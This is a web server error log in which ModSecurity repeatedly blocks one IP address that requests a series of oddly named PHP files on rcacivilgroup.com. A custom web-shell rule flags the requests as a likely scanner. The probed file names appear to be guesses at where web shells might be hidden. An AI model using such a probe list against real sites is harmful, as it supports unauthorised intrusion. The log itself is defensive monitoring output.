[Fri Apr 24 08:25:47.573510 2026] [:error] [pid 19102:tid 19182] [client 51.120.70.44:47140] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kikikoko.php"] [unique_id "aeq4iwDSgrbLEZbkqD4htAAAAJI"]
[Fri Apr 24 08:25:48.486437 2026] [:error] [pid 52129:tid 52139] [client 51.120.70.44:65522] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kikikoko.php"] [unique_id "aeq4jOKCZKf8_u2LKiAKtgAAAQY"]
[Fri Apr 24 08:25:49.256755 2026] [:error] [pid 19200:tid 19230] [client 51.120.70.44:59445] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kikikoko.php"] [unique_id "aeq4jTQ--M3-tsKAnhETPQAAANY"]
[Fri Apr 24 08:25:50.067879 2026] [:error] [pid 19200:tid 19210] [client 51.120.70.44:60108] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kikikoko.php"] [unique_id "aeq4jjQ--M3-tsKAnhETQAAAAMI"]
[Fri Apr 24 08:25:50.973785 2026] [:error] [pid 19200:tid 19215] [client 51.120.70.44:45255] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2026w.php"] [unique_id "aeq4jjQ--M3-tsKAnhETQwAAAMc"]
[Fri Apr 24 08:25:51.784312 2026] [:error] [pid 19102:tid 19164] [client 51.120.70.44:42359] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2026w.php"] [unique_id "aeq4jwDSgrbLEZbkqD4htQAAAIA"]
[Fri Apr 24 08:25:52.659024 2026] [:error] [pid 19200:tid 19221] [client 51.120.70.44:5242] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2026w.php"] [unique_id "aeq4kDQ--M3-tsKAnhETSQAAAM0"]
[Fri Apr 24 08:25:53.201841 2026] [:error] [pid 52129:tid 52145] [client 51.120.70.44:59442] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2026w.php"] [unique_id "aeq4keKCZKf8_u2LKiAKvgAAAQw"]
[Fri Apr 24 08:25:54.193968 2026] [:error] [pid 19200:tid 19224] [client 51.120.70.44:42306] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "aeq4kjQ--M3-tsKAnhETSwAAANA"]
[Fri Apr 24 08:25:54.962409 2026] [:error] [pid 52129:tid 52143] [client 51.120.70.44:59452] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "aeq4kuKCZKf8_u2LKiAKxwAAAQo"]
[Fri Apr 24 08:25:55.658503 2026] [:error] [pid 19101:tid 19155] [client 51.120.70.44:61868] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "aeq4k2AHj9bEvrTgbO0aAwAAAFI"]
[Fri Apr 24 08:25:56.483991 2026] [:error] [pid 19200:tid 19231] [client 51.120.70.44:47123] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "aeq4lDQ--M3-tsKAnhETTwAAANc"]
[Fri Apr 24 08:25:57.376676 2026] [:error] [pid 19102:tid 19173] [client 51.120.70.44:65248] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amxloxxr.php"] [unique_id "aeq4lQDSgrbLEZbkqD4htwAAAIk"]
[Fri Apr 24 08:25:58.146461 2026] [:error] [pid 52129:tid 52144] [client 51.120.70.44:5193] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amxloxxr.php"] [unique_id "aeq4luKCZKf8_u2LKiAK0AAAAQs"]
[Fri Apr 24 08:25:58.702918 2026] [:error] [pid 52129:tid 52149] [client 51.120.70.44:58989] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amxloxxr.php"] [unique_id "aeq4luKCZKf8_u2LKiAK0QAAARA"]
[Fri Apr 24 08:25:59.256710 2026] [:error] [pid 19200:tid 19223] [client 51.120.70.44:47148] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amxloxxr.php"] [unique_id "aeq4lzQ--M3-tsKAnhETUgAAAM8"]
[Fri Apr 24 08:25:59.811489 2026] [:error] [pid 19200:tid 19221] [client 51.120.70.44:65512] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/qhupyoon.php"] [unique_id "aeq4lzQ--M3-tsKAnhETVAAAAM0"]
[Fri Apr 24 08:26:00.339721 2026] [:error] [pid 19200:tid 19219] [client 51.120.70.44:58976] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/qhupyoon.php"] [unique_id "aeq4mDQ--M3-tsKAnhETVgAAAMs"]
[Fri Apr 24 08:26:00.881563 2026] [:error] [pid 19101:tid 19138] [client 51.120.70.44:42358] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/qhupyoon.php"] [unique_id "aeq4mGAHj9bEvrTgbO0aCAAAAEE"]
[Fri Apr 24 08:26:01.421274 2026] [:error] [pid 19200:tid 19213] [client 51.120.70.44:45267] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/qhupyoon.php"] [unique_id "aeq4mTQ--M3-tsKAnhETWQAAAMU"]
[Fri Apr 24 08:26:02.060411 2026] [:error] [pid 19200:tid 19226] [client 51.120.70.44:55548] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aeq4mjQ--M3-tsKAnhETXAAAANI"]
[Fri Apr 24 08:26:02.639292 2026] [:error] [pid 19101:tid 19145] [client 51.120.70.44:55489] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aeq4mmAHj9bEvrTgbO0aCgAAAEg"]
[Fri Apr 24 08:26:03.178014 2026] [:error] [pid 52129:tid 52144] [client 51.120.70.44:5223] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aeq4m-KCZKf8_u2LKiAK2wAAAQs"]
[Fri Apr 24 08:26:03.793262 2026] [:error] [pid 19102:tid 19167] [client 51.120.70.44:47157] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aeq4mwDSgrbLEZbkqD4hugAAAIM"]
[Fri Apr 24 08:26:04.581495 2026] [:error] [pid 19101:tid 19161] [client 51.120.70.44:58991] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "aeq4nGAHj9bEvrTgbO0aDAAAAFg"]
[Fri Apr 24 08:26:05.150545 2026] [:error] [pid 19101:tid 19147] [client 51.120.70.44:60138] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "aeq4nWAHj9bEvrTgbO0aDgAAAEo"]
[Fri Apr 24 08:26:06.150894 2026] [:error] [pid 19102:tid 19185] [client 51.120.70.44:59420] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "aeq4ngDSgrbLEZbkqD4hvQAAAJU"]
[Fri Apr 24 08:26:06.802026 2026] [:error] [pid 19102:tid 19180] [client 51.120.70.44:59405] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "aeq4ngDSgrbLEZbkqD4hvgAAAJA"]
[Fri Apr 24 08:26:07.375632 2026] [:error] [pid 19102:tid 19170] [client 51.120.70.44:55489] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6ap7e.php"] [unique_id "aeq4nwDSgrbLEZbkqD4hwAAAAIY"]
[Fri Apr 24 08:26:08.125383 2026] [:error] [pid 19200:tid 19212] [client 51.120.70.44:63060] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6ap7e.php"] [unique_id "aeq4oDQ--M3-tsKAnhETYAAAAMQ"]
[Fri Apr 24 08:26:08.696053 2026] [:error] [pid 52129:tid 52148] [client 51.120.70.44:48137] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6ap7e.php"] [unique_id "aeq4oOKCZKf8_u2LKiAK4wAAAQ8"]
[Fri Apr 24 08:26:09.433521 2026] [:error] [pid 52129:tid 52139] [client 51.120.70.44:48190] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6ap7e.php"] [unique_id "aeq4oeKCZKf8_u2LKiAK5wAAAQY"]
[Fri Apr 24 08:26:10.139490 2026] [:error] [pid 19102:tid 19182] [client 51.120.70.44:48144] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cilus.php"] [unique_id "aeq4ogDSgrbLEZbkqD4hxAAAAJI"]
[Fri Apr 24 08:26:10.774583 2026] [:error] [pid 19102:tid 19187] [client 51.120.70.44:5192] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cilus.php"] [unique_id "aeq4ogDSgrbLEZbkqD4hxQAAAJc"]
[Fri Apr 24 08:26:11.294918 2026] [:error] [pid 19200:tid 19220] [client 51.120.70.44:42316] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cilus.php"] [unique_id "aeq4ozQ--M3-tsKAnhETZgAAAMw"]
[Fri Apr 24 08:26:12.005370 2026] [:error] [pid 19102:tid 19173] [client 51.120.70.44:65525] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cilus.php"] [unique_id "aeq4pADSgrbLEZbkqD4hxgAAAIk"]
[Fri Apr 24 08:26:12.673562 2026] [:error] [pid 19100:tid 19129] [client 51.120.70.44:47143] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "aeq4pLF_hzQs4CqbifdQrAAAABM"]
[Fri Apr 24 08:26:13.258226 2026] [:error] [pid 19101:tid 19152] [client 51.120.70.44:5237] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "aeq4pWAHj9bEvrTgbO0aEwAAAE8"]
[Fri Apr 24 08:26:13.945586 2026] [:error] [pid 52129:tid 52143] [client 51.120.70.44:55110] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "aeq4peKCZKf8_u2LKiAK9gAAAQo"]
[Fri Apr 24 08:26:14.527555 2026] [:error] [pid 19100:tid 19126] [client 51.120.70.44:65503] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "aeq4prF_hzQs4CqbifdQrQAAABA"]
[Fri Apr 24 08:26:15.230970 2026] [:error] [pid 52129:tid 52134] [client 51.120.70.44:63103] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "aeq4p-KCZKf8_u2LKiAK-AAAAQE"]
[Fri Apr 24 08:26:16.122147 2026] [:error] [pid 52129:tid 52138] [client 51.120.70.44:5230] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "aeq4qOKCZKf8_u2LKiALBAAAAQU"]
[Fri Apr 24 08:26:16.878553 2026] [:error] [pid 52129:tid 52140] [client 51.120.70.44:65269] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "aeq4qOKCZKf8_u2LKiALBwAAAQc"]
[Fri Apr 24 08:26:33.957309 2026] [:error] [pid 19101:tid 19145] [client 51.120.70.44:61850] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "aeq4uWAHj9bEvrTgbO0aLAAAAEg"]
[Fri Apr 24 08:26:35.534453 2026] [:error] [pid 19101:tid 19160] [client 51.120.70.44:65351] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "aeq4u2AHj9bEvrTgbO0aLQAAAFc"]
[Fri Apr 24 08:26:37.000580 2026] [:error] [pid 19102:tid 19176] [client 51.120.70.44:52531] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "aeq4vADSgrbLEZbkqD4h3AAAAIw"]
[Fri Apr 24 08:26:38.445336 2026] [:error] [pid 52129:tid 52149] [client 51.120.70.44:61340] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "aeq4vuKCZKf8_u2LKiALTgAAARA"]
[Fri Apr 24 08:26:40.557439 2026] [:error] [pid 19102:tid 19171] [client 51.120.70.44:48912] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ah25.php"] [unique_id "aeq4wADSgrbLEZbkqD4h6wAAAIc"]
[Fri Apr 24 08:26:41.698061 2026] [:error] [pid 52129:tid 52147] [client 51.120.70.44:62978] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ah25.php"] [unique_id "aeq4weKCZKf8_u2LKiALWwAAAQ4"]
[Fri Apr 24 08:26:42.995744 2026] [:error] [pid 19100:tid 19109] [client 51.120.70.44:59874] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ah25.php"] [unique_id "aeq4wrF_hzQs4CqbifdQvwAAAAA"]
[Fri Apr 24 08:26:44.091592 2026] [:error] [pid 19200:tid 19229] [client 51.120.70.44:57823] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ah25.php"] [unique_id "aeq4xDQ--M3-tsKAnhETkQAAANU"]
[Fri Apr 24 08:26:45.139615 2026] [:error] [pid 52129:tid 52156] [client 51.120.70.44:57831] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w.php"] [unique_id "aeq4xeKCZKf8_u2LKiALcAAAARc"]
[Fri Apr 24 08:26:46.175195 2026] [:error] [pid 52129:tid 52150] [client 51.120.70.44:47629] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w.php"] [unique_id "aeq4xuKCZKf8_u2LKiALegAAARE"]
[Fri Apr 24 08:26:47.403134 2026] [:error] [pid 52129:tid 52139] [client 51.120.70.44:58127] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w.php"] [unique_id "aeq4x-KCZKf8_u2LKiALggAAAQY"]
[Fri Apr 24 08:26:48.847071 2026] [:error] [pid 52129:tid 52156] [client 51.120.70.44:47640] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w.php"] [unique_id "aeq4yOKCZKf8_u2LKiALiwAAARc"]
[Fri Apr 24 08:26:49.941599 2026] [:error] [pid 19100:tid 19128] [client 51.120.70.44:58115] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/axe.php"] [unique_id "aeq4ybF_hzQs4CqbifdQwAAAABI"]
